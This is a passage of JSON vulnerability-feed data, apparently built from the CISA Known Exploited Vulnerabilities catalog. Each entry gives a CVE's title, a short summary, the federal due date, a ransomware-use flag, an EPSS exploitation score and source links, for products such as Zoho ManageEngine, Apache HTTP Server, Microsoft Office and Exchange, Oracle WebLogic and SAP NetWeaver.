CVE-2020-11261","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-12-01","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-11261 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-11261&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-11261, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-37415","cveId":"CVE-2021-37415","aliases":[],"kind":"vulnerability","title":"Zoho ManageEngine ServiceDesk Authentication Bypass Vulnerability","summary":"Zoho ManageEngine ServiceDesk Plus before 11302 is vulnerable to authentication bypass that allows a few REST-API URLs without authentication","detail":"CISA added this entry on 2021-12-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-12-01","updatedAt":null,"regions":["Global"],"vendor":"Zoho","product":"ManageEngine ServiceDesk Plus (SDP)","stacks":["Zoho ManageEngine","Zoho","ManageEngine ServiceDesk Plus (SDP)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-12-01","dueAt":"2021-12-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99825,"percentile":0.9996,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-37415&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-37415","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-12-01","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-37415 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-37415&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-37415, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-40438","cveId":"CVE-2021-40438","aliases":[],"kind":"vulnerability","title":"Apache HTTP Server-Side Request Forgery (SSRF)","summary":"A crafted request uri-path can cause mod_proxy to forward the request to an origin server choosen by the remote user. This issue affects Apache HTTP Server 2.4.48 and earlier.","detail":"CISA added this entry on 2021-12-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-12-01","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"Apache","stacks":["Apache HTTP Server","Apache"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-12-01","dueAt":"2021-12-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":0.99997,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-40438&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-40438","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-12-01","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-40438 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-40438&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-40438, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-44077","cveId":"CVE-2021-44077","aliases":[],"kind":"vulnerability","title":"Zoho ManageEngine ServiceDesk Plus Remote Code Execution Vulnerability","summary":"Zoho ManageEngine ServiceDesk Plus before 11306, ServiceDesk Plus MSP before 10530, and SupportCenter Plus before 11014 are vulnerable to unauthenticated remote code execution","detail":"CISA added this entry on 2021-12-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-12-01","updatedAt":null,"regions":["Global"],"vendor":"Zoho","product":"ManageEngine ServiceDesk Plus (SDP) / SupportCenter Plus","stacks":["Zoho ManageEngine","Zoho","ManageEngine ServiceDesk Plus (SDP) / SupportCenter Plus"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-12-01","dueAt":"2021-12-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.93298,"percentile":0.99835,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-44077&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-44077","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-12-01","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-44077 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-44077&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-44077, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-22204","cveId":"CVE-2021-22204","aliases":[],"kind":"vulnerability","title":"ExifTool Remote Code Execution Vulnerability","summary":"Improper neutralization of user data in the DjVu file format in Exiftool versions 7.44 and up allows arbitrary code execution when parsing the malicious image","detail":"CISA added this entry on 2021-11-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-17","updatedAt":null,"regions":["Global"],"vendor":"Perl","product":"Exiftool","stacks":["Perl","Exiftool"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-17","dueAt":"2021-12-01","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99981,"percentile":0.99981,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-22204&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-22204","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-17","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-22204 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-22204&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-22204, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-40449","cveId":"CVE-2021-40449","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Win32k Privilege Escalation Vulnerability","summary":"Unspecified vulnerability allows for an authenticated user to escalate privileges.","detail":"CISA added this entry on 2021-11-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-17","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-17","dueAt":"2021-12-01","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.81936,"percentile":0.99648,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-40449&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-40449","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-17","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-40449 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-40449&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-40449, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-42292","cveId":"CVE-2021-42292","aliases":[],"kind":"vulnerability","title":"Microsoft Excel Security Feature Bypass","summary":"A security feature bypass vulnerability in Microsoft Excel would allow a local user to perform arbitrary code execution.","detail":"CISA added this entry on 2021-11-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-17","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Office","stacks":["Microsoft Office","Microsoft","Office"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-17","dueAt":"2021-12-01","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.43005,"percentile":0.98711,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-42292&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-42292","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-17","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-42292 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-42292&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-42292, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-42321","cveId":"CVE-2021-42321","aliases":[],"kind":"vulnerability","title":"Microsoft Exchange Server Remote Code Execution Vulnerability","summary":"An authenticated attacker could leverage improper validation in cmdlet arguments within Microsoft Exchange and perform remote code execution.","detail":"CISA added this entry on 2021-11-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-17","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Exchange","stacks":["Microsoft Exchange","Microsoft","Exchange"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-17","dueAt":"2021-12-01","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.91737,"percentile":0.99814,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-42321&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-42321","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-17","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-42321 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-42321&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-42321, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2010-5326","cveId":"CVE-2010-5326","aliases":[],"kind":"vulnerability","title":"SAP NetWeaver Remote Code Execution Vulnerability","summary":"SAP NetWeaver Application Server Java Platforms Invoker Servlet does not require authentication, allowing for remote code execution via a HTTP or HTTPS request.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"SAP","product":"NetWeaver","stacks":["SAP","NetWeaver"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.1777,"percentile":0.97142,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2010-5326&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2010-5326","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2010-5326 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2010-5326&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2010-5326, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2012-0158","cveId":"CVE-2012-0158","aliases":[],"kind":"vulnerability","title":"Microsoft MSCOMCTL.OCX Remote Code Execution Vulnerability","summary":"Microsoft MSCOMCTL.OCX contains an unspecified vulnerability that allows for remote code execution, allowing an attacker to take complete control of an affected system under the context of the current user.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"MSCOMCTL.OCX","stacks":["Microsoft","MSCOMCTL.OCX"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99976,"percentile":0.99979,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2012-0158&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2012-0158","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2012-0158 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2012-0158&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2012-0158, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2012-3152","cveId":"CVE-2012-3152","aliases":[],"kind":"vulnerability","title":"Oracle Fusion Middleware Unspecified Vulnerability","summary":"Oracle Fusion Middleware Reports Developer contains an unspecified vulnerability that allows remote attackers to affect confidentiality and integrity of affected systems.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"Fusion Middleware","stacks":["Oracle","Fusion Middleware"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98793,"percentile":0.99926,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2012-3152&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2012-3152","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2012-3152 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2012-3152&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2012-3152, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-1812","cveId":"CVE-2014-1812","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Group Policy Preferences Password Privilege Escalation Vulnerability","summary":"Microsoft Windows Active Directory contains a privilege escalation vulnerability due to the way it distributes passwords that are configured using Group Policy preferences. An authenticated attacker who successfully exploits the vulnerability could decrypt the passwords and use them to elevate privileges on the domain.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.65117,"percentile":0.99246,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-1812&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2014-1812","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2014-1812 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-1812&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-1812, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-1641","cveId":"CVE-2015-1641","aliases":[],"kind":"vulnerability","title":"Microsoft Office Memory Corruption Vulnerability","summary":"Microsoft Office contains a memory corruption vulnerability due to failure to properly handle rich text format files in memory. Successful exploitation allows for remote code execution in the context of the current user.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Office","stacks":["Microsoft Office","Microsoft","Office"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97246,"percentile":0.99895,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-1641&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-1641","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-1641 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-1641&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-1641, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-4852","cveId":"CVE-2015-4852","aliases":[],"kind":"vulnerability","title":"Oracle WebLogic Server Deserialization of Untrusted Data Vulnerability","summary":"Oracle WebLogic Server contains a deserialization of untrusted data vulnerability within Apache Commons, which can allow for for remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"WebLogic Server","stacks":["Oracle","WebLogic Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.94991,"percentile":0.9986,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-4852&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-4852","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-4852 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-4852&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-4852, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-0167","cveId":"CVE-2016-0167","aliases":[],"kind":"vulnerability","title":"Microsoft Win32k Privilege Escalation Vulnerability","summary":"Microsoft Win32k contains an unspecified vulnerability that allows for privilege escalation via a crafted application","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Win32k","stacks":["Microsoft Windows","Microsoft","Win32k"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.05683,"percentile":0.92939,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-0167&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-0167","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-0167 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-0167&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-0167, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-0185","cveId":"CVE-2016-0185","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Media Center Remote Code Execution Vulnerability","summary":"Microsoft Windows Media Center contains a remote code execution vulnerability when Windows Media Center opens a specially crafted Media Center link (.mcl) file that references malicious code.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor 